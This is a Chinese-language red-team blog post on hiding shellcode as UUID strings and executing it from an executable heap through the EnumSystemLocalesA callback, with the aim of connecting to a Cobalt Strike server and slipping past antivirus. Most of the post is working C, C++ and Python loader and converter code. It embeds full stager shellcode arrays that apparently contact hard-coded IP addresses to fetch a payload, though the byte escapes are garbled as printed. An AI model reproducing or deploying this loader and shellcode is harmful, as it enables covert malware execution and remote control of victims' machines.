紅隊(duì)技巧-利用uuid加載shellcode

y

點(diǎn)擊藍(lán)字關(guān)注我哦

近期國外的Tweet上面的Check Point Research發(fā)布了一篇有趣的推文:

這篇推文大概講的是通過分析了一個(gè)惡意樣本,找到一種非常有趣的向內(nèi)存寫入shellcode方式。

這里就不細(xì)究釣魚文檔利用宏加載shellcode的細(xì)節(jié)了,感興趣的可以去看這篇文章:

代碼語言:JavaScript代碼運(yùn)行次數(shù):0運(yùn)行復(fù)制

https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/

值得注意的是:

在自定義代碼中,攻擊者使用了windows api 遍歷了大量硬編碼 UUID 值列表,并且每次都提供指向分配內(nèi)存()的指針,深入分析后,發(fā)現(xiàn)了一種將數(shù)據(jù)寫入堆的方法。

這種技術(shù)早在2017年就有國外大佬提出,但是最近才抓到惡意樣本,爆出來!!

uuid是什么?

通用唯一識(shí)別碼(Universally Unique Identifier,縮寫:UUID),是用于計(jì)算機(jī)體系中以識(shí)別信息數(shù)目的一個(gè)128位標(biāo)識(shí)符,根據(jù)標(biāo)準(zhǔn)方法生成,不依賴中央機(jī)構(gòu)的注冊(cè)和分配,UUID具有唯一性。

當(dāng)然還有一種GUID(全局唯一標(biāo)識(shí)符(英語:Globally Unique Identifier,縮寫:GUID)),是一種由算法生成的唯一標(biāo)識(shí),通常表示成32個(gè)16進(jìn)制數(shù)字(0-9,A-F)組成的字符串,如:{21EC2020-3AEA-1069-A2DD-08002B30309D},它實(shí)質(zhì)上是一個(gè)128位長的二進(jìn)制整數(shù)

1.那兩種有什么區(qū)別

簡(jiǎn)單的說,uuid 是一種標(biāo)準(zhǔn), 而guid是uuid的一種實(shí)現(xiàn).,GUID 是微軟對(duì)UUID這個(gè)標(biāo)準(zhǔn)的實(shí)現(xiàn)。

2.UUID有什么作用?

看一個(gè)示例:

COMB(combine)型是數(shù)據(jù)庫特有的一種設(shè)計(jì)思想,可以理解為一種改進(jìn)的GUID,它通過組合GUID和系統(tǒng)時(shí)間,以使其在索引和檢索事有更優(yōu)的性能,數(shù)據(jù)庫中沒有COMB類型,它是Jimmy Nilsson在他的“The cost of GUIDs as Primary Keys”一文中設(shè)計(jì)出來的。

COMB數(shù)據(jù)類型的基本設(shè)計(jì)思路是這樣的:既然UniqueIdentifier數(shù)據(jù)因毫無規(guī)律可言造成索引效率低下,影響了系統(tǒng)的性能,那么我們能不能通過組合的方式,保留UniqueIdentifier的前10個(gè)字節(jié),用后6個(gè)字節(jié)表示GUID生成的時(shí)間(DateTime),這樣我們將時(shí)間信息與UniqueIdentifier組合起來,在保留UniqueIdentifier的唯一性的同時(shí)增加了有序性,以此來提高索引效率。

簡(jiǎn)而言之:UUID 的目的是讓分布式系統(tǒng)中的所有元素,都能有唯一的標(biāo)識(shí),而不需要透過中央控制端來做標(biāo)識(shí)的指定。如此一來,每個(gè)人都可以建立不與其它人沖突的 UUID,在這樣的情況下,就不需考慮數(shù)據(jù)庫建立時(shí)的名稱重復(fù)問題。

實(shí)現(xiàn)原理

首先我們得先關(guān)注一下兩個(gè)windows api 函數(shù)

1.UuidFromStringA

查看微軟的官方文檔,給出了這樣的解釋:

紅隊(duì)技巧-利用uuid加載shellcode

這個(gè)意思說吧,把uuid值轉(zhuǎn)換成二進(jìn)制字節(jié)序列,該api 需要兩個(gè)參數(shù)

1.轉(zhuǎn)換成二進(jìn)制字節(jié)序列的uuid的指針

2.以二進(jìn)制形式返回指向UUID的指針

第一項(xiàng)參數(shù)很好理解,第二項(xiàng)參數(shù)可能翻譯過來有點(diǎn)牽強(qiáng),很好理解,就是用來接收二進(jìn)制字節(jié)序列的指針。

其實(shí)python 中也有uuid庫,轉(zhuǎn)換挺方便的,把字節(jié)序列轉(zhuǎn)換成uuid,再把uuid轉(zhuǎn)換成字節(jié)序列

紅隊(duì)技巧-利用uuid加載shellcode

還有需要注意的點(diǎn),就是windows 二進(jìn)制字節(jié)序列是用的小端計(jì)數(shù)法,轉(zhuǎn)換時(shí)且二進(jìn)制序列必須16個(gè)字符為一組。

2.EnumSystemLocalesA

微軟官方文檔:

紅隊(duì)技巧-利用uuid加載shellcode

這里牽扯到回調(diào)函數(shù)

回調(diào)函數(shù)就是一個(gè)通過函數(shù)指針調(diào)用的函數(shù),意思是通過函數(shù)指針來調(diào)用函數(shù),字面不好理解,你不妨看看以下示例

代碼語言:javascript代碼運(yùn)行次數(shù):0運(yùn)行復(fù)制

((void(*)())exec)();

這段代碼很經(jīng)典,很多人看了很懵逼,但是對(duì)于懂指針的人來說,理所當(dāng)然,在c語言中,函數(shù)變量名存的就是一個(gè)函數(shù)入口地址,換句話說函數(shù)變量名就是一個(gè)指針。

然后再讓我們理解以下上面那句代碼

代碼語言:javascript代碼運(yùn)行次數(shù):0運(yùn)行復(fù)制

void(*)() #定義一個(gè)函數(shù)指針,函數(shù)返回值為空((void(*)())exec #強(qiáng)制類型轉(zhuǎn)換,把exec指針強(qiáng)制轉(zhuǎn)換成函數(shù)指針((void(*)())exec)();#執(zhí)行入口地址為exec指向的地址的函數(shù)

而EnumSystemLocalesA 函數(shù)的第一次個(gè)參數(shù)就是回調(diào)函數(shù)地址,第二個(gè)參數(shù)是指定要枚舉的語言環(huán)境標(biāo)識(shí)符的標(biāo)志。

那么上面的就可以寫成這個(gè)樣子:

代碼語言:javascript代碼運(yùn)行次數(shù):0運(yùn)行復(fù)制

EnumSystemLocalesA(exec,0);

利用uuid來加載shellcode,上線cs

我們先來看普通的shellcode 的c加載方式

代碼語言:javascript代碼運(yùn)行次數(shù):0運(yùn)行復(fù)制

#include <windows.h>  #include <stdio.h> #不彈窗#pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"") #pragma comment(linker, "/INCREMENTAL:NO")   unsigned char shellcode[]="shellcode binary ";int main(){  char *a = VirtualAlloc(NULL, sizeof(xor_xcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  memcpy(a, xcode, sizeof(xcode));  ((void(*)())a)();  return 0;}#include<Windows.h>#include<iostream>unsigned char buf[] = "xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf0x52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1xcfx0dx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xffxe0x58x5fx5ax8bx12xebx86x5dx68x6ex65x74x00x68x77x69x6ex69x54x68x4cx77x26x07xffxd5x31xffx57x57x57x57x57x68x3ax56x79xa7xffxd5xe9x84x00x00x00x5bx31xc9x51x51x6ax03x51x51x68x50x00x00x00x53x50x68x57x89x9fxc6xffxd5xebx70x5bx31xd2x52x68x00x02x40x84x52x52x52x53x52x50x68xebx55x2ex3bxffxd5x89xc6x83xc3x50x31xffx57x57x6axffx53x56x68x2dx06x18x7bxffxd5x85xc0x0fx84xc3x01x00x00x31xffx85xf6x74x04x89xf9xebx09x68xaaxc5xe2x5dxffxd5x89xc1x68x45x21x5ex31xffxd5x31xffx57x6ax07x51x56x50x68xb7x57xe0x0bxffxd5xbfx00x2fx00x00x39xc7x74xb7x31xffxe9x91x01x00x00xe9xc9x01x00x00xe8x8bxffxffxffx2fx31x6bx6ax56x00xfexdcx7ax2dx31xc9xe7x28x1exb5x42x5fx62xa3xf5x64x42x79x2dxa2xd8xf7x74xcaxc1x64xc7xc2xfex32xb2x36x0axa0x90x4exfaxd4x47x04xa4x8bxd9xe6x65xa1x8fxbexe4xb6x95x63xf0xb4x46x20x85xf8x60x5exb1xf8xa0x59xefx9exb2xc6xe6xf9x5dx8ex07x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x31x30x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex32x3bx20x57x4fx57x36x34x3bx20x54x72x69x64x65x6ex74x2fx36x2ex30x3bx20x54x6fx75x63x68x3bx20x4dx41x53x50x4ax53x29x0dx0ax00x91xa8x10xb7xdax80x7fxabxc7x23x16x2fx4bx61xbdxebxa5x14x6fx90x4bxdfx5ax58xe0x57x55x1fxdbx6ax56x74xc2xa1x9cx9fx32xdax91x0dx01x10x2dx95xefx8ex49x72x3ax2bx9ex59x8ex85xa6xadxb6x9cxc6x98x10x7dx09x1fx60xa3x4axeaxbex4axf5x49x8axc7x18xd6x60x22x51x17xb8xd6x61xd3x8ax81x37x3ex6ax3dx1cx3dxc5xf3xa0x57x02x04x44x57xc1x14x23x71xc2x08x87x6cx94x6bx89xc1xd9x2bxccx6bx62x25x3fxbbx9fx56x02xf1x54x4dx4dx91x4ex89x5bxdax5fxf0x92xa5xacxb2xafxcfxbbxe2xafxb0xcax5bx08x83x4cx92x7axb5x97xb9xd2x07xc9x8fxb7x80xfcx26x3dxa3xd1x9ex29x42x05xcdx0bx78xc2x11x86x4fx66x57xdaxe2x4bx98xccx46x4dxe5xbdxfexc7x2cxc4xd3xe5xc0xf9x43xcaxd4x1dx5ax73xdax00x68xf0xb5xa2x56xffxd5x6ax40x68x00x10x00x00x68x00x00x40x00x57x68x58xa4x53xe5xffxd5x93xb9x00x00x00x00x01xd9x51x53x89xe7x57x68x00x20x00x00x53x56x68x12x96x89xe2xffxd5x85xc0x74xc6x8bx07x01xc3x85xc0x75xe5x58xc3xe8xa9xfdxffxffx31x30x2ex31x39x2ex34x32x2ex31x34x34x00x12x34x56x78";int main(){  void* shellcode = (void*)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  memcpy(shellcode, buf, sizeof(buf));  ((void(*)())shellcode)();  return 0;}

然后我們來利用uuid寫shellcode

代碼語言:javascript代碼運(yùn)行次數(shù):0運(yùn)行復(fù)制

#include<Windows.h>#include<Rpc.h>#include<iostream>#pragma comment(lib,"Rpcrt4.lib")using namespace std;const char* uuids[] = { "0089e8fc-0000-8960-e531-d2648b52308b","528b0c52-8b14-2872-0fb7-4a2631ff31c0","7c613cac-2c02-c120-cf0d-01c7e2f05257","8b10528b-3c42-d001-8b40-7885c0744a01","488b50d0-8b18-2058-01d3-e33c498b348b","ff31d601-c031-c1ac-cf0d-01c738e075f4","3bf87d03-247d-e275-588b-582401d3668b","588b4b0c-011c-8bd3-048b-01d089442424","59615b5b-515a-e0ff-585f-5a8b12eb865d","74656e68-6800-6977-6e69-54684c772607","ff31d5ff-5757-5757-5768-3a5679a7ffd5","000084e9-5b00-c931-5151-6a0351516850","53000000-6850-8957-9fc6-ffd5eb705b31","006852d2-4002-5284-5252-53525068eb55","d5ff3b2e-c689-c383-5031-ff57576aff53","062d6856-7b18-d5ff-85c0-0f84c3010000","f685ff31-0474-f989-eb09-68aac5e25dff","68c189d5-2145-315e-ffd5-31ff576a0751","b7685056-e057-ff0b-d5bf-002f000039c7","ff31b774-91e9-0001-00e9-c9010000e88b","2fffffff-6b31-566a-00fe-dc7a2d31c9e7","42b51e28-625f-f5a3-6442-792da2d8f774","c764c1ca-fec2-b232-360a-a0904efad447","d98ba404-65e6-8fa1-bee4-b69563f0b446","60f88520-b15e-a0f8-59ef-9eb2c6e6f95d","5500078e-6573-2d72-4167-656e743a204d","6c697a6f-616c-352f-2e30-2028636f6d70","62697461-656c-203b-4d53-49452031302e","57203b30-6e69-6f64-7773-204e5420362e","57203b32-574f-3436-3b20-54726964656e","2e362f74-3b30-5420-6f75-63683b204d41","534a5053-0d29-000a-91a8-10b7da807fab","2f1623c7-614b-ebbd-a514-6f904bdf5a58","1f5557e0-6adb-7456-c2a1-9c9f32da910d","952d1001-8eef-7249-3a2b-9e598e85a6ad","98c69cb6-7d10-1f09-60a3-4aeabe4af549","d618c78a-2260-1751-b8d6-61d38a81373e","3d1c3d6a-f3c5-57a0-0204-4457c1142371","6c8708c2-6b94-c189-d92b-cc6b62253fbb","f102569f-4d54-914d-4e89-5bda5ff092a5","cfafb2ac-e2bb-b0af-ca5b-08834c927ab5","07d2b997-8fc9-80b7-fc26-3da3d19e2942","780bcd05-11c2-4f86-6657-dae24b98cc46","febde54d-2cc7-d3c4-e5c0-f943cad41d5a","6800da73-b5f0-56a2-ffd5-6a4068001000","00006800-0040-6857-58a4-53e5ffd593b9","00000000-d901-5351-89e7-576800200000","12685653-8996-ffe2-d585-c074c68b0701","75c085c3-58e5-e8c3-a9fd-ffff31302e31","32342e39-312e-3434-0012-345678000000" }; int main(){  HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);//獲得可執(zhí)行的句柄  void* ha = HeapAlloc(hc, 0, 0x100000);//申請(qǐng)堆空間  if (ha == NULL)  {    cout << "內(nèi)存申請(qǐng)失敗!" << endl;    return 0;  }  DWORD_PTR hptr = (DWORD_PTR)ha;  int elems = sizeof(uuids) / sizeof(uuids[0]);//獲得需要寫入uuids數(shù)組元素個(gè)數(shù)  for (int i = 0; i < elems; i++)  {    //cout << (RPC_CSTR)uuids[i] << endl;    //cout << (UUID*)hptr << endl;    RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);//寫入shellcode      if (status != RPC_S_OK)//判斷是否寫入正常      {        cout << "UuidFromeStringA()!=S_OK" << endl;        CloseHandle(ha);          return -1;      }    hptr += 16;  }  //((void(*)())ha)();  EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);//回調(diào)函數(shù),運(yùn)行shellcode  CloseHandle(ha);  return 0;}

cs直接上線,這里我們需要用的一個(gè)python轉(zhuǎn)換uuid腳本:

代碼語言:javascript代碼運(yùn)行次數(shù):0運(yùn)行復(fù)制

import uuidshellcode=b"xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf0x52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1xcfx0dx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xffxe0x58x5fx5ax8bx12xebx86x5dx68x6ex65x74x00x68x77x69x6ex69x54x68x4cx77x26x07xffxd5x31xffx57x57x57x57x57x68x3ax56x79xa7xffxd5xe9x84x00x00x00x5bx31xc9x51x51x6ax03x51x51x68x50x00x00x00x53x50x68x57x89x9fxc6xffxd5xebx70x5bx31xd2x52x68x00x02x40x84x52x52x52x53x52x50x68xebx55x2ex3bxffxd5x89xc6x83xc3x50x31xffx57x57x6axffx53x56x68x2dx06x18x7bxffxd5x85xc0x0fx84xc3x01x00x00x31xffx85xf6x74x04x89xf9xebx09x68xaaxc5xe2x5dxffxd5x89xc1x68x45x21x5ex31xffxd5x31xffx57x6ax07x51x56x50x68xb7x57xe0x0bxffxd5xbfx00x2fx00x00x39xc7x74xb7x31xffxe9x91x01x00x00xe9xc9x01x00x00xe8x8bxffxffxffx2fx76x31x62x53x00x7fx91xe7xa6x06xafx0ex4cxd7x9axe9x05x62x44xdax5cx48x62xfex2cx1axb1x46xe5x9ex3bx14x69x39x97x1fx0bxfbx1axf6x8dx89x79x72x62x8fxccx16x3axabx4cx4bx8dx50xe4xb5xa1x30x1fx46x17x84xa1x17x69xecx2ax4axfexe7xb0x87xb9x7bx5cx61x3axfex00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x39x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex31x3bx20x57x4fx57x36x34x3bx20x54x72x69x64x65x6ex74x2fx35x2ex30x3bx20x4dx41x53x42x29x0dx0ax00x79x00x1bx42x2ex57x64xdax01x3cx02xc6x2ax4axdaxc8x22x1ex92x76x61x47x80x02xb1x8cx24x61x92x9fx53x58x73xdexaex52x30x67x82x47x32x4bx35x10x11xfdxe2x1dx2bx26x18x6bx9dx85x58x10x32xa4x0axcdx92xc1x5ax10x50x6bxe7x87x2axd9xcfxcex92x06x1cx39x6bx75x42xfbx81x4bx60x0bx56xccx1bxa7xe6x0bx0fx49xddxc5xccx48x0dxf4xdbx98xf1xbfx0dxa8x9bx45xcbx4fx41x26x96xf5x0dx4dxe4x58x83x1fx81x6ex67xeax94xabx49x5cxc0x6fx1dx8cx78x8cxc5xd7x01x4dxc7x89xc1x8exe5x46x6dxabx99x5fxa2x26xe1xccx58x8cxefx16xcdxe5x02x4axf9xe5x42x1cxb8x4ax96x7ex69x9ax30x37x97x0dx4ex7ex4cxafx69xccx9ax36xb3xe5x2ax7bx77x64x48x30xa3x44x27x76xd8xe6x03x2ax56xebxe7x21xb1xf6x78x2exf0xaax43xdfx46xa3x95x14x00x68xf0xb5xa2x56xffxd5x6ax40x68x00x10x00x00x68x00x00x40x00x57x68x58xa4x53xe5xffxd5x93xb9x00x00x00x00x01xd9x51x53x89xe7x57x68x00x20x00x00x53x56x68x12x96x89xe2xffxd5x85xc0x74xc6x8bx07x01xc3x85xc0x75xe5x58xc3xe8xa9xfdxffxffx31x39x32x2ex31x36x38x2ex30x2ex31x30x34x00x12x34x56x78x90x90"list = []for i in range(50):    bytes_a = shellcode[i * 16: 16 + i * 16]    b = uuid.UUID(bytes_le=bytes_a)    list.append(str(b))with open("shellcode.c","w",encoding="utf-8") as f:    f.write("const char* uuids[] ={")    for UUID in list:        f.write("""+UUID+"""+",")    f.write("};")print(list)

替換shellcode,你懂我的意思吧!

在實(shí)驗(yàn)的時(shí)候我忘了關(guān)卡巴,然后你懂得!哈哈哈哈哈哈哈哈哈

學(xué)習(xí)總結(jié)

這里雖然還是給殺了,那是因?yàn)檫@種uuid還是存在一定的特征,還是會(huì)被殺,但是這里講究的是一個(gè)思路,可以用其他windows api 來向內(nèi)存中寫入shellcode,加載shellcode,而且在國外大佬blog提到了很多windows api都可以實(shí)現(xiàn)這樣的功能。

紅隊(duì)技巧-利用uuid加載shellcode

END

? 版權(quán)聲明
THE END
喜歡就支持一下吧
點(diǎn)贊11 分享